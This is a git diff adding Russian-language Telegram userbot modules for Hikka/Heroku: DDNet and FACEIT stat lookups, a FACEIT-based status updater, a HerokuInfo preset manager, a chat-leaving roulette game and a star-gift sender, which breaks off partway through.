"🇬🇩", 312: "🇬🇵", 316: "🇬🇺", 320: "🇬🇹", 324: "🇬🇳", + 328: "🇬🇾", 332: "🇭🇹", 336: "🇻🇦", 340: "🇭🇳", 344: "🇭🇰", 348: "🇭🇺", 352: "🇮🇸", 356: "🇮🇳", + 360: "🇮🇩", 364: "🇮🇷", 368: "🇮🇶", 372: "🇮🇪", 376: "🇮🇱", 380: "🇮🇹", 384: "🇨🇮", 388: "🇯🇲", + 392: "🇯🇵", 400: "🇯🇴", 404: "🇰🇪", 408: "🇰🇵", 410: "🇰🇷", 414: "🇰🇼", 417: "🇰🇬", 418: "🇱🇦", + 422: "🇱🇧", 426: "🇱🇸", 428: "🇱🇻", 430: "🇱🇷", 434: "🇱🇾", 438: "🇱🇮", 440: "🇱🇹", 442: "🇱🇺", + 446: "🇲🇴", 450: "🇲🇬", 454: "🇲🇼", 458: "🇲🇾", 462: "🇲🇻", 466: "🇲🇱", 470: "🇲🇹", 474: "🇲🇶", + 478: "🇲🇷", 480: "🇲🇺", 484: "🇲🇽", 492: "🇲🇨", 496: "🇲🇳", 498: "🇲🇩", 499: "🇲🇪", 504: "🇲🇦", + 508: "🇲🇿", 512: "🇴🇲", 516: "🇳🇦", 520: "🇳🇷", 524: "🇳🇵", 528: "🇳🇱", 531: "🇨🇼", 533: "🇦🇼", + 534: "🇸🇽", 540: "🇳🇨", 554: "🇳🇿", 558: "🇳🇮", 562: "🇳🇪", 566: "🇳🇬", 570: "🇳🇺", 574: "🇳🇫", + 578: "🇳🇴", 580: "🇲🇵", 583: "🇫🇲", 584: "🇲🇭", 585: "🇵🇼", 586: "🇵🇰", 591: "🇵🇦", 598: "🇵🇬", + 600: "🇵🇾", 604: "🇵🇪", 608: "🇵🇭", 612: "🇵🇳", 616: "🇵🇱", 620: "🇵🇹", 624: "🇬🇼", 626: "🇹🇱", + 630: "🇵🇷", 634: "🇶🇦", 638: "🇷🇪", 642: "🇷🇴", 643: "🇷🇺", 646: "🇷🇼", 652: "🇧🇱", 654: "🇸🇭", + 659: "🇰🇳", 662: "🇱🇨", 663: "🇲🇫", 666: "🇵🇲", 670: "🇻🇨", 674: "🇸🇲", 678: "🇸🇹", 682: "🇸🇦", + 686: "🇸🇳", 688: "🇷🇸", 690: "🇸🇨", 694: "🇸🇱", 702: "🇸🇬", 703: "🇸🇰", 705: "🇸🇮", 706: "🇸🇴", + 710: "🇿🇦", 716: "🇿🇼", 724: "🇪🇸", 736: "🇸🇩", 737: "🇸🇸", 740: "🇸🇷", 748: "🇸🇿", 752: "🇸🇪", + 756: "🇨🇭", 760: "🇸🇾", 762: "🇹🇯", 764: "🇹🇭", 768: "🇹🇬", 772: "🇹🇰", 776: "🇹🇴", 780: "🇹🇹", + 784: "🇦🇪", 788: "🇹🇳", 792: "🇹🇷", 795: "🇹🇲", 796: "🇹🇨", 798: "🇹🇻", 800: "🇺🇬", 804: "🇺🇦", + 818: "🇪🇬", 826: "🇬🇧", 831: "🇬🇬", 832: "🇯🇪", 833: "🇮🇲", 840: "🇺🇸", 854: "🇧🇫", 858: "🇺🇾", + 860: "🇺🇿", 862: "🇻🇪", 876: "🇼🇫", 882: "🇼🇸", 887: "🇾🇪", 894: "🇿🇲", 90: "🇸🇧", 92: "🇻🇬", + 104: "🇲🇲", 132: "🇨🇻", 144: "🇱🇰", 162: "🇽🇰", 166: "🇨🇨", +} + +@loader.tds +class DDNetStats(loader.Module): + """Модуль для просмотра статистики игрока DDNet через ddstats.tw""" + strings = { + "name": "DDNetStats", + "no_args": " Укажите ник игрока!", + "not_found": " Игрок не найден или ошибка API.", + } + + async def client_ready(self, client, db): + self.client = client + + @loader.command() + async def ddstats(self, message): + """<ник> — Показать статистику игрока DDNet""" + args = utils.get_args_raw(message) + if not args: + await utils.answer(message, self.strings["no_args"]) + return + + try: + async with aiohttp.ClientSession() as session: + async with session.get(f"https://ddstats.tw/player/json?player={args}") as resp: + if resp.status != 200: + await utils.answer(message, self.strings["not_found"]) + return + data = await resp.json() + if "error" in data and data["error"] == "player not found": + await utils.answer(message, self.strings["not_found"]) + return + + response = "" + # профиль + profile_list = data.get("recent_player_info", []) + profile2 = data.get("profile", {}) + if profile_list and profile2: + profile = profile_list[0] + name = profile.get("name", args) + points = profile2.get("points", "—") + clan = profile.get("clan", "—") + country_id = profile.get("country", -1) + flag = COUNTRY_FLAGS.get(country_id, "-") + skin = profile.get("skin_name", "—") + last_seen = profile.get("last_seen", "-") + + response += ( + f"👤 Игрок: {name}\n\n" + f"📌 Профиль:\n" + f"
Поинты: {points}\n" + f"Клан: {clan}\n" + f"Флаг: {flag}\n" + f"Скин: {skin}\n" + f"Дата информации: {last_seen}\n" + "
\n" + ) + + # прогресс по категориям + completion = data.get("completion_progress", []) + if completion: + completion_str = [] + for cat in completion: + category = cat.get("category", "Неизвестно") + finished = cat.get("maps_finished", 0) + total = cat.get("maps_total", 0) + completion_str.append(f"{category} - {finished}/{total}") + + response += ( + "📦 Прогресс по категориям:\n
" + + "\n".join(completion_str) + + "
\n\n
" + ) + + # ласт активность + recent = data.get("recent_activity", []) + if recent: + recent_str = [] + for act in recent: + date = act.get("date", "—") + map_name = act.get("map_name", "—") + hours = round(act.get("seconds_played", 0) / 60) + recent_str.append(f"{date} - {map_name} ({hours}мин.)") + + response += ( + "⏰️ Последняя активность:\n
" + + "\n".join(recent_str) + + "
\n\n
" + ) + + # напарники + teammates = data.get("favourite_teammates", []) + if teammates: + teammates_str = [] + for mate in teammates: + mate_name = mate.get("name", "—") + team_rank = mate.get("ranks_together", "—") + teammates_str.append(f"{mate_name} - {team_rank} (ранг)") + + response += ( + "👥 Любимые напарники:\n
" + + "\n".join(teammates_str) + + "
\n\n
" + ) + + # карты + maps = data.get("most_played_maps", []) + if maps: + maps_str = [] + for m in maps: + map_name = m.get("map_name", "-") + hours = round(m.get("seconds_played", 0) / 3600) + maps_str.append(f"{map_name} - {hours}ч") + + response += ( + "🗺Карты:\n
" + + "\n".join(maps_str) + + "
\n\n
" + ) + + # режимы + gametypes = data.get("most_played_gametypes", []) + if gametypes: + gametypes_str = [] + for gt in gametypes: + key = gt.get("key", "—") + hours = round(gt.get("seconds_played", 0) / 3600) + gametypes_str.append(f"{key} - {hours}ч") + + response += ( + "🎯Режимы:\n
" + + "\n".join(gametypes_str) + + "
\n\n
" + ) + + # вся активность + general = data.get("general_activity", {}) + if general: + total_hours = round(general.get("total_seconds_played", 0) / 3600) + avg_hours = round(general.get("average_seconds_played", 0) / 3600) + start_date = general.get("start_of_playtime", "—") + response += ( + "📈 Общая активность:\n
" + f"Общее время: {total_hours}ч\n" + f"Среднее время игры: {avg_hours}ч\n" + f"Начал играть: {start_date}" + "
" + ) + await utils.answer(message, response) + except Exception as e: + await utils.answer(message, f" Ошибка: {str(e)}") + + @loader.command() + async def ddstatsred(self, message): + """<ник> - Упрощенная версия""" + args = utils.get_args_raw(message) + if not args: + await utils.answer(message, self.strings["no_args"]) + return + + try: + async with aiohttp.ClientSession() as session: + async with session.get(f"https://ddstats.tw/player/json?player={args}") as resp: + if resp.status != 200: + await utils.answer(message, self.strings["not_found"]) + return + data = await resp.json() + if "error" in data and data["error"] == "player not found": + await utils.answer(message, self.strings["not_found"]) + return + + response = "" + # профиль + profile_list = data.get("recent_player_info", []) + profile2 = data.get("profile", {}) + if profile_list and profile2: + profile = profile_list[0] + name = profile.get("name", args) + points = profile2.get("points", "—") + clan = profile.get("clan", "—") + country_id = profile.get("country", -1) + flag = COUNTRY_FLAGS.get(country_id, "-") + skin = profile.get("skin_name", "—") + last_seen = profile.get("last_seen", "-") + + response += ( + f"👤 Игрок: {name}\n\n" + f"📌 Профиль:\n" + f"
Поинты: {points}\n" + f"Клан: {clan}\n" + f"Флаг: {flag}\n" + f"Скин: {skin}\n" + f"Дата информации: {last_seen}\n" + "
\n" + ) + + # вся активность + general = data.get("general_activity", {}) + if general: + total_hours = round(general.get("total_seconds_played", 0) / 3600) + avg_hours = round(general.get("average_seconds_played", 0) / 3600) + start_date = general.get("start_of_playtime", "—") + + response += ( + "📈 Общая активность:\n
" + f"Общее время: {total_hours}ч\n" + f"Среднее время игры: {avg_hours}ч\n" + f"Начал играть: {start_date}" + "
" + ) + + await utils.answer(message, response) + except Exception as e: + await utils.answer(message, f" Ошибка: {str(e)}") diff --git a/mead0wsss/mead0wsMods/FaceitStatus.py b/mead0wsss/mead0wsMods/FaceitStatus.py new file mode 100644 index 0000000..69ac08e --- /dev/null +++ b/mead0wsss/mead0wsMods/FaceitStatus.py @@ -0,0 +1,95 @@ +__version__ = (1, 0, 0) + +# ███╗░░░███╗███████╗░█████╗░██████╗░░█████╗░░██╗░░░░░░░██╗░██████╗░██████╗ +# ████╗░████║██╔════╝██╔══██╗██╔══██╗██╔══██╗░██║░░██╗░░██║██╔════╝██╔════╝ +# ██╔████╔██║█████╗░░███████║██║░░██║██║░░██║░╚██╗████╗██╔╝╚█████╗░╚█████╗░ +# ██║╚██╔╝██║██╔══╝░░██╔══██║██║░░██║██║░░██║░░████╔═████║░░╚═══██╗░╚═══██╗ +# ██║░╚═╝░██║███████╗██║░░██║██████╔╝╚█████╔╝░░╚██╔╝░╚██╔╝░██████╔╝██████╔╝ +# ╚═╝░░░░░╚═╝╚══════╝╚═╝░░╚═╝╚═════╝░░╚════╝░░░░╚═╝░░░╚═╝░░╚═════╝░╚═════╝░ +# © Copyright 2025 +# ✈ https://t.me/mead0wssMods + +# scope: hikka_only +# scope: hikka_min 1.3.3 +# meta developer: @mead0wssMods +# meta banner: https://x0.at/tYLF.png + +import requests +from .. import loader, utils +from aiohttp import ClientSession +import logging + +@loader.tds +class FaceitStatus(loader.Module): + """Модуль для установки статуса в зависимости от уровня FACEIT CS 2""" + strings = {"name": "FaceitStatus"} + + def __init__(self): + self.config = loader.ModuleConfig( + loader.ConfigValue( + "nickname", + "", + lambda: "Никнейм Faceit для получения информации", + validator=loader.validators.String() + ), + loader.ConfigValue( + "enabled", + False, + lambda: "Включить или выключить обновление статуса.", + validator=loader.validators.Boolean() + ) + ) + + self.faceit_level_emojis = { + 1: 5472218969999941969, + 2: 5472420816282983721, + 3: 5474655053975396078, + 4: 5474457803307359926, + 5: 5474321889067276806, + 6: 5471974427447009199, + 7: 5474505554753756989, + 8: 5474586712455782018, + 9: 5474493773658462333, + 10: 5474608393450691188, + } + + async def client_ready(self): + if self.config["enabled"]: + self.update_status_loop.start() + + @loader.loop(interval=60) + async def update_status_loop(self): + await self.update_status() + + async def update_status(self): + nickname = self.config["nickname"] + if not nickname: + return + + async with ClientSession() as session: + async with session.get(f"https://api.faceit.com/users/v1/nicknames/{nickname}") as response: + if response.status == 200: + payload = await response.json() + faceit_lvl = payload.get("payload", {}).get("games", {}).get("cs2", {}).get("skill_level") + + if faceit_lvl in self.faceit_level_emojis: + emoji_id = self.faceit_level_emojis[faceit_lvl] + await self._client.set_status(emoji_id) + else: + logging.error("Ошибка при запросе к FACEIT API: %s", response.status) + + @loader.command() + async def on_faccmd(self, event): + """Включить обновление статуса.""" + self.config["enabled"] = True + await self.update_status() + self.update_status_loop.start() + await event.edit("✅ Обновление статуса включено.") + + @loader.command() + async def off_faccmd(self, event): + """Выключить обновление статуса.""" + self.config["enabled"] = False + self.update_status_loop.stop() + await event.edit("❌ Обновление статуса выключено.") + diff --git a/mead0wsss/mead0wsMods/InfoPresets.py b/mead0wsss/mead0wsMods/InfoPresets.py new file mode 100644 index 0000000..5746a5a --- /dev/null +++ b/mead0wsss/mead0wsMods/InfoPresets.py @@ -0,0 +1,345 @@ +__version__ = (1, 1, 0) + +# ███╗░░░███╗███████╗░█████╗░██████╗░░█████╗░░██╗░░░░░░░██╗░██████╗░██████╗ +# ████╗░████║██╔════╝██╔══██╗██╔══██╗██╔══██╗░██║░░██╗░░██║██╔════╝██╔════╝ +# ██╔████╔██║█████╗░░███████║██║░░██║██║░░██║░╚██╗████╗██╔╝╚█████╗░╚█████╗░ +# ██║╚██╔╝██║██╔══╝░░██╔══██║██║░░██║██║░░██║░░████╔═████║░░╚═══██╗░╚═══██╗ +# ██║░╚═╝░██║███████╗██║░░██║██████╔╝╚█████╔╝░░╚██╔╝░╚██╔╝░██████╔╝██████╔╝ +# ╚═╝░░░░░╚═╝╚══════╝╚═╝░░╚═╝╚═════╝░░╚════╝░░░░╚═╝░░░╚═╝░░╚═════╝░╚═════╝░ +# © Copyright 2025 +# ✈ https://t.me/mead0wssMods + +# scope: heroku_only +# meta developer: @mead0wssMods +# meta banner: https://x0.at/GHOP.png + +import json +import os +from telethon.tl.types import Message +from ..inline.types import InlineCall +from .. import loader, utils +import logging + +logger = logging.getLogger(__name__) + +@loader.tds +class InfoPresets(loader.Module): + """Управление пресетами для HerokuInfo""" + strings = { + "name": "InfoPresets", + "preset_exists": "🚫 Пресет с таким именем уже существует!", + "preset_created": "✅ Пресет '{}' создан. Теперь настройте параметры.", + "file_created": "✅ Файл InfoPresets.json создан", + "param_set": "✅ Параметр '{}' установлен в '{}' для пресета '{}'", + "preset_not_found": "🚫 Пресет '{}' не найден!", + "preset_deleted": "✅ Пресет '{}' удален", + "no_presets": "🚫 Нет сохраненных пресетов", + "preset_loaded": "✅ Пресет '{}' загружен", + "enter_value": "✍️ Введите значение для параметра '{}':", + "invalid_bool": "🚫 Значение должно быть True или False", + "param_not_set": "🚫 Параметр '{}' не установлен в пресете '{}'", + "config_menu": "⚙️ Настройка пресета '{}'\nВыберите параметр:", + "file_deleted": "✅ Файл с пресетами удален", + "file_not_found": "🚫 Файл с пресетами не найден", + "preset_list": "📋 Список пресетов:\n\n{}", + "preset_info": "🔹 {}:\n{}", + "param_info": " • {}: {}", + "done": "✅ Готово", + "cancel": "❌ Отмена", + "form_expired": "⏳ Время действия формы истекло, создайте новую" + } + + async def client_ready(self, client, db): + self._client = client + self.db = db + self.presets_file = "InfoPresets.json" + self.ensure_presets_file() + self._waiting_param = {} + self._active_forms = {} + + def ensure_presets_file(self): + if not os.path.exists(self.presets_file): + with open(self.presets_file, "w", encoding="utf-8") as f: + json.dump({}, f) + + async def createprcmd(self, message: Message): + """Создать новый пресет.""" + args = utils.get_args_raw(message) + if not args: + return + + with open(self.presets_file, "r+", encoding="utf-8") as f: + try: + presets = json.load(f) + except json.JSONDecodeError: + presets = {} + + if args in presets: + await utils.answer(message, self.strings["preset_exists"]) + return + + presets[args] = {} + f.seek(0) + json.dump(presets, f, indent=4) + f.truncate() + + await self.edit_preset(message, args) + + async def edit_preset(self, message: Message, preset_name: str): + """Редактирование пресета с инлайн-кнопками""" + buttons = [ + [ + {"text": "✏️ custom_message", "callback": self._param_callback, "args": (preset_name, "custom_message")}, + {"text": "🖼️ pp_to_banner", "callback": self._param_callback, "args": (preset_name, "pp_to_banner")} + ], + [ + {"text": "🔗 banner_url", "callback": self._param_callback, "args": (preset_name, "banner_url")}, + {"text": "⚙️ show_heroku", "callback": self._param_callback, "args": (preset_name, "show_heroku")} + ], + [ + {"text": self.strings["done"], "callback": self._done_callback, "args": (preset_name,)} + ] + ] + + form = await self.inline.form( + message=message, + text=self.strings["config_menu"].format(preset_name), + reply_markup=buttons, + silent=True + ) + + self._active_forms[preset_name] = { + "form": form, + "chat_id": message.chat_id, + "user_id": message.sender_id + } + + async def _param_callback(self, call: InlineCall, preset_name: str, param: str): + """Обработчик выбора параметра""" + if preset_name not in self._active_forms: + await call.answer(self.strings["form_expired"]) + return + + form_info = self._active_forms[preset_name] + + await call.edit( + self.strings["enter_value"].format(param), + reply_markup=[ + [{"text": self.strings["cancel"], "callback": self._cancel_callback, "args": (preset_name,)}] + ] + ) + + self._waiting_param = { + "user_id": call.from_user.id, + "chat_id": form_info["chat_id"], + "preset_name": preset_name, + "param": param, + "form_info": form_info + } + + async def _cancel_callback(self, call: InlineCall, preset_name: str): + """Обработчик отмены""" + if preset_name not in self._active_forms: + await call.answer(self.strings["form_expired"]) + return + + form_info = self._active_forms[preset_name] + + try: + await form_info["form"].edit( + self.strings["config_menu"].format(preset_name), + reply_markup=[ + [ + {"text": "✏️ custom_message", "callback": self._param_callback, "args": (preset_name, "custom_message")}, + {"text": "🖼️ pp_to_banner", "callback": self._param_callback, "args": (preset_name, "pp_to_banner")} + ], + [ + {"text": "🔗 banner_url", "callback": self._param_callback, "args": (preset_name, "banner_url")}, + {"text": "⚙️ show_heroku", "callback": self._param_callback, "args": (preset_name, "show_heroku")} + ], + [ + {"text": self.strings["done"], "callback": self._done_callback, "args": (preset_name,)} + ] + ] + ) + except Exception as e: + logger.error(f"Failed to edit form on cancel: {e}") + + self._waiting_param = {} + + async def _done_callback(self, call: InlineCall, preset_name: str): + """Обработчик завершения""" + if preset_name in self._active_forms: + try: + await call.delete() + except: + pass + del self._active_forms[preset_name] + self._waiting_param = {} + + async def watcher(self, message: Message): + """Обработчик ввода значений параметров""" + if not self._waiting_param or not isinstance(self._waiting_param, dict): + return + + if not isinstance(message, Message) or not message.message or not hasattr(message, "raw_text"): + return + + waiting_chat_id = self._waiting_param.get("chat_id") + waiting_user_id = self._waiting_param.get("user_id") + + if (not waiting_chat_id or not waiting_user_id or + message.chat_id != waiting_chat_id or + message.sender_id != waiting_user_id): + return + + preset_name = self._waiting_param.get("preset_name") + param = self._waiting_param.get("param") + form_info = self._waiting_param.get("form_info") + + if not all([preset_name, param, form_info]): + self._waiting_param = {} + return + + value = message.raw_text.strip() + + if param in ["pp_to_banner", "show_heroku"]: + if value.lower() not in ["true", "false"]: + return + value = value.lower() == "true" + + try: + with open(self.presets_file, "r+", encoding="utf-8") as f: + presets = json.load(f) + if preset_name not in presets: + return + + presets[preset_name][param] = value + f.seek(0) + json.dump(presets, f, indent=4) + f.truncate() + + await utils.answer(message, self.strings["param_set"].format(param, value, preset_name)) + + try: + await form_info["form"].edit( + self.strings["config_menu"].format(preset_name), + reply_markup=[ + [ + {"text": "✏️ custom_message", "callback": self._param_callback, "args": (preset_name, "custom_message")}, + {"text": "🖼️ pp_to_banner", "callback": self._param_callback, "args": (preset_name, "pp_to_banner")} + ], + [ + {"text": "🔗 banner_url", "callback": self._param_callback, "args": (preset_name, "banner_url")}, + {"text": "⚙️ show_heroku", "callback": self._param_callback, "args": (preset_name, "show_heroku")} + ], + [ + {"text": self.strings["done"], "callback": self._done_callback, "args": (preset_name,)} + ] + ] + ) + except Exception as e: + logger.error(f"Failed to edit form: {e}") + + except Exception as e: + logger.exception("Error saving parameter") + + finally: + self._waiting_param = {} + + async def delprcmd(self, message: Message): + """Удалить пресет.""" + args = utils.get_args_raw(message) + if not args: + return + + with open(self.presets_file, "r+", encoding="utf-8") as f: + presets = json.load(f) + if args not in presets: + return + + del presets[args] + f.seek(0) + json.dump(presets, f, indent=4) + f.truncate() + + await utils.answer(message, self.strings["preset_deleted"].format(args)) + + async def delfileprcmd(self, message: Message): + """Удалить файл с пресетами.""" + if not os.path.exists(self.presets_file): + return + + os.remove(self.presets_file) + self.ensure_presets_file() + await utils.answer(message, self.strings["file_deleted"]) + + async def uploadprcmd(self, message: Message): + """Загрузить файл с пресетами.""" + if not os.path.exists(self.presets_file): + return + + with open(self.presets_file, "r", encoding="utf-8") as f: + presets = json.load(f) + if not presets: + return + + await self._client.send_file( + message.chat_id, + self.presets_file, + caption="📁 Файл с пресетами" + ) + await message.delete() + + async def listprcmd(self, message: Message): + """Показать список всех пресетов.""" + if not os.path.exists(self.presets_file): + return + + with open(self.presets_file, "r", encoding="utf-8") as f: + try: + presets = json.load(f) + except json.JSONDecodeError: + return + + if not presets: + return + + result = [] + for preset_name, params in presets.items(): + param_lines = [] + for param, value in params.items(): + param_lines.append(self.strings["param_info"].format(param, value)) + result.append(self.strings["preset_info"].format( + preset_name, "\n".join(param_lines) if param_lines else "⏺ Нет параметров" + )) + + await utils.answer( + message, + self.strings["preset_list"].format("\n\n".join(result)) + ) + + async def loadprcmd(self, message: Message): + """Загрузить пресет.""" + args = utils.get_args_raw(message) + if not args: + return + + with open(self.presets_file, "r", encoding="utf-8") as f: + presets = json.load(f) + if args not in presets: + return + + preset = presets[args] + heroku_info = self.lookup("HerokuInfo") + + if not heroku_info: + return + + for param, value in preset.items(): + if param in heroku_info.config: + heroku_info.config[param] = value + else: + logger.warning(f"Параметр {param} не найден в конфиге HerokuInfo") + + await utils.answer(message, self.strings["preset_loaded"].format(args)) diff --git a/mead0wsss/mead0wsMods/LICENSE.md b/mead0wsss/mead0wsMods/LICENSE.md new file mode 100644 index 0000000..0630d5f --- /dev/null +++ b/mead0wsss/mead0wsMods/LICENSE.md @@ -0,0 +1,20 @@ +Proprietary License Agreement + +Copyright (c) 2025-2030 mead0wss (Maxim Trous) + +Permission is hereby granted to any person obtaining a copy of this software and associated documentation files (the "Software"), to use the Software for personal and non-commercial purposes, subject to the following conditions: + +1. The Software may not be modified, altered, or otherwise changed in any way without the explicit written permission of the author. + +2. Redistribution of the Software, in original or modified form, is strictly prohibited without the explicit written permission of the author. + +3. The Software is provided "as is", without warranty of any kind, express or implied, including but not limited to the warranties of merchantability, fitness for a particular purpose, and non-infringement. In no event shall the author or copyright holder be liable for any claim, damages, or other liability, whether in an action of contract, tort, or otherwise, arising from, out of, or in connection with the Software or the use or other dealings in the Software. + +4. Any use of the Software must include the above copyright notice and this permission notice in all copies or substantial portions of the Software. + +5. By using the Software, you agree to be bound by the terms and conditions of this license. + +For any inquiries or requests for permissions, please contact in Telegram @maximtrous or mead0wss.xyz@gmail.com. + +Maxim +25.03.2025 diff --git a/mead0wsss/mead0wsMods/MyFACEIT.py b/mead0wsss/mead0wsMods/MyFACEIT.py new file mode 100644 index 0000000..6f7f572 --- /dev/null +++ b/mead0wsss/mead0wsMods/MyFACEIT.py @@ -0,0 +1,99 @@ +__version__ = (1, 0, 0) + +# ███╗░░░███╗███████╗░█████╗░██████╗░░█████╗░░██╗░░░░░░░██╗░██████╗░██████╗ +# ████╗░████║██╔════╝██╔══██╗██╔══██╗██╔══██╗░██║░░██╗░░██║██╔════╝██╔════╝ +# ██╔████╔██║█████╗░░███████║██║░░██║██║░░██║░╚██╗████╗██╔╝╚█████╗░╚█████╗░ +# ██║╚██╔╝██║██╔══╝░░██╔══██║██║░░██║██║░░██║░░████╔═████║░░╚═══██╗░╚═══██╗ +# ██║░╚═╝░██║███████╗██║░░██║██████╔╝╚█████╔╝░░╚██╔╝░╚██╔╝░██████╔╝██████╔╝ +# ╚═╝░░░░░╚═╝╚══════╝╚═╝░░╚═╝╚═════╝░░╚════╝░░░░╚═╝░░░╚═╝░░╚═════╝░╚═════╝░ +# © Copyright 2025 +# ✈ https://t.me/mead0wssMods + +# scope: hikka_only +# scope: hikka_min 1.3.3 +# meta developer: @mead0wssMods +# meta banner: https://x0.at/Hu25.jpg + + +import requests +from telethon import events +from .. import loader, utils +from aiohttp import ClientSession +import json + +@loader.tds +class MyFACEIT(loader.Module): + """Модуль для получения информации о своем профиле FACEIT""" + strings = {"name": "MyFACEIT"} + + def __init__(self): + self.config = loader.ModuleConfig( + loader.ConfigValue( + "nickname", + "", + lambda: "Никнейм Faceit для получения информации", + validator=loader.validators.String() + ), + ) + + async def myfaceitcmd(self, event): + """- Показать информацию об своем FACEIT профиле.""" + nickname = self.config["nickname"] + + if not nickname: + await event.reply("❌ Никнейм Faceit не указан в .cfg!") + return + + async with ClientSession() as session: + async with session.get(f"https://api.faceit.com/users/v1/nicknames/{nickname}") as response: + if response.status == 200: + payload = await response.json() + payload = payload.get("payload", {}) + + gender = payload.get("gender") + user_type = payload.get("user_type") + ID = payload.get("id") + country = payload.get("country") + region = payload.get("games", {}).get("cs2", {}).get("region") + elo = payload.get("games", {}).get("cs2", {}).get("faceit_elo") + faceit_lvl_c2 = payload.get("games", {}).get("cs2", {}).get("skill_level") + twitch_id = payload.get("streaming", {}).get("twitch_id") + steam_nickname = payload.get("platforms", {}).get("steam", {}).get("nickname") + + if gender == "male": + gender = "Мужчина" + elif gender == "Female": + gender = "Женщина" + else: + gender = "*неуказано*" + + if user_type == "user": + user_type = "Пользователь" + else: + user_type = "*неуказано*" + + country_flags = { + "ru": "🇷🇺", + "eu": "🇪🇺", + "us": "🇺🇸", + "br": "🇧🇷", + "cn": "🇨🇳", + "kr": "🇰🇷", + "jp": "🇯🇵", + "au": "🇦🇺", + "ca": "🇨🇦", + "gb": "🇬🇧", + "de": "🇩🇪", + "fr": "🇫🇷", + "es": "🇪🇸", + "it": "🇮🇹", + "pl": "🇵🇱", + "tr": "🇹🇷", + } + + country_flag = country_flags.get(country.lower(), "") + region_flag = country_flags.get(region.lower(), "") + + await event.edit(f"Информация об моем FACEIT профиле:\n\n🎮 Ник: {nickname}\n\n🚻 Пол: {gender}\n\n🔍 Тип: {user_type}\n\n🆔 Faceit ID: {ID}\n\n🌍 Страна: {country_flag}\n\n🌐 Регион: {region_flag}\n\n📊 Количество ELO: {elo}\n\n⭐️ Faceit LVL: {faceit_lvl_c2}\n\n📺 Twitch ID: {twitch_id}\n\n💻 Steam: {steam_nickname}", parse_mode="html") + else: + await event.reply("❌ Ошибка при запросе к FACEIT API") diff --git a/mead0wsss/mead0wsMods/README.md b/mead0wsss/mead0wsMods/README.md new file mode 100644 index 0000000..8f03577 --- /dev/null +++ b/mead0wsss/mead0wsMods/README.md @@ -0,0 +1 @@ +эрон дон дон diff --git a/mead0wsss/mead0wsMods/RussianRoulette.py b/mead0wsss/mead0wsMods/RussianRoulette.py new file mode 100644 index 0000000..28d7dc2 --- /dev/null +++ b/mead0wsss/mead0wsMods/RussianRoulette.py @@ -0,0 +1,37 @@ +__version__ = (1, 0, 0) + +# ███╗░░░███╗███████╗░█████╗░██████╗░░█████╗░░██╗░░░░░░░██╗░██████╗░██████╗ +# ████╗░████║██╔════╝██╔══██╗██╔══██╗██╔══██╗░██║░░██╗░░██║██╔════╝██╔════╝ +# ██╔████╔██║█████╗░░███████║██║░░██║██║░░██║░╚██╗████╗██╔╝╚█████╗░╚█████╗░ +# ██║╚██╔╝██║██╔══╝░░██╔══██║██║░░██║██║░░██║░░████╔═████║░░╚═══██╗░╚═══██╗ +# ██║░╚═╝░██║███████╗██║░░██║██████╔╝╚█████╔╝░░╚██╔╝░╚██╔╝░██████╔╝██████╔╝ +# ╚═╝░░░░░╚═╝╚══════╝╚═╝░░╚═╝╚═════╝░░╚════╝░░░░╚═╝░░░╚═╝░░╚═════╝░╚═════╝░ +# © Copyright 2025 +# ✈ https://t.me/mead0wssMods + +# scope: hikka_only +# scope: hikka_min 1.3.3 +# meta developer: @mead0wssMods +# meta banner: https://x0.at/N3nB.jpg + +from telethon.tl.functions.channels import LeaveChannelRequest +import asyncio +import random +from .. import loader, utils + +@loader.tds +class RouletteMod(loader.Module): + """Модуль для игры в Русскую рулетку. При поражении выкидывает с чата.""" + strings = {"name": "Roulette"} + + async def roulettecmd(self, message): + """Начать игру в Русскую рулетку""" + await message.edit('😶🔫 Прикладываю пистолет к виску и медленно нажимаю курок...') + await asyncio.sleep(2) + + choice = random.choice([1, 2]) + if choice == 1: + await message.edit('😵 Смерть... Всем пока!') + await message.client(LeaveChannelRequest(message.chat_id)) + else: + await message.edit('😄 Выжил! Остаюсь в чате.') diff --git a/mead0wsss/mead0wsMods/SenderGifts.py b/mead0wsss/mead0wsMods/SenderGifts.py new file mode 100644 index 0000000..6b79d4c --- /dev/null +++ b/mead0wsss/mead0wsMods/SenderGifts.py @@ -0,0 +1,251 @@ +# -- version -- +__version__ = (1, 2, 0) +# -- version -- + + +# ███╗░░░███╗███████╗░█████╗░██████╗░░█████╗░░██╗░░░░░░░██╗░██████╗░██████╗ +# ████╗░████║██╔════╝██╔══██╗██╔══██╗██╔══██╗░██║░░██╗░░██║██╔════╝██╔════╝ +# ██╔████╔██║█████╗░░███████║██║░░██║██║░░██║░╚██╗████╗██╔╝╚█████╗░╚█████╗░ +# ██║╚██╔╝██║██╔══╝░░██╔══██║██║░░██║██║░░██║░░████╔═████║░░╚═══██╗░╚═══██╗ +# ██║░╚═╝░██║███████╗██║░░██║██████╔╝╚█████╔╝░░╚██╔╝░╚██╔╝░██████╔╝██████╔╝ +# ╚═╝░░░░░╚═╝╚══════╝╚═╝░░╚═╝╚═════╝░░╚════╝░░░░╚═╝░░░╚═╝░░╚═════╝░╚═════╝░ +# © Copyright 2025 +# ✈ https://t.me/mead0wssMods + + +# meta developer: @mead0wssMods x @nullmod +# scope: heroku_only + +from .. import loader, utils +from herokutl.tl.functions.payments import GetPaymentFormRequest, SendStarsFormRequest, GetStarsStatusRequest +from herokutl.tl.types import InputInvoiceStarGift, TextWithEntities +from herokutl.errors.rpcerrorlist import BadRequestError +import logging + +@loader.tds +class SenderGifts(loader.Module): + """Модуль для отправки подарков Telegram прямиком в чате""" + strings = { + "name": "SenderGifts", + "usage": " Используйте в формате: .sendgift @username текст или реплай + .sendgift текст", + "checking_user": "🔍 Проверка пользователя...", + "checking_balance": "🔍 Проверка баланса...", + "user_not_found": " Пользователь не найден", + "gift_menu": "🎁 Выберите категорию подарков.\n\n👤 Пользователь: {}\n📄 Текст: {}\n Баланс: {} звезд", + "category_menu": "🎁 Подарки за {} ⭐\n\n👤 Пользователь: {}\n📄 Текст: {}", + "sending_gift": "🛫 Отправка подарка...", + "gift_sent": " Подарок успешно отправлен!", + "not_enough_stars": " Недостаточно звезд для отправки подарка {}!", + "min_stars_error": " Недостаточно звезд для отправки минимального подарка!", + "no_available_gifts": " Нет доступных подарков для вашего баланса", + "balance_error": " Ошибка при проверке баланса", + } + + gift_categories = { + 15: [ + {"id": 5170145012310081615, "emoji": "❤️", "name": "Сердце"}, + {"id": 5170233102089322756, "emoji": "🧸", "name": "Мишка"}, + ], + 25: [ + {"id": 5170250947678437525, "emoji": "🎁", "name": 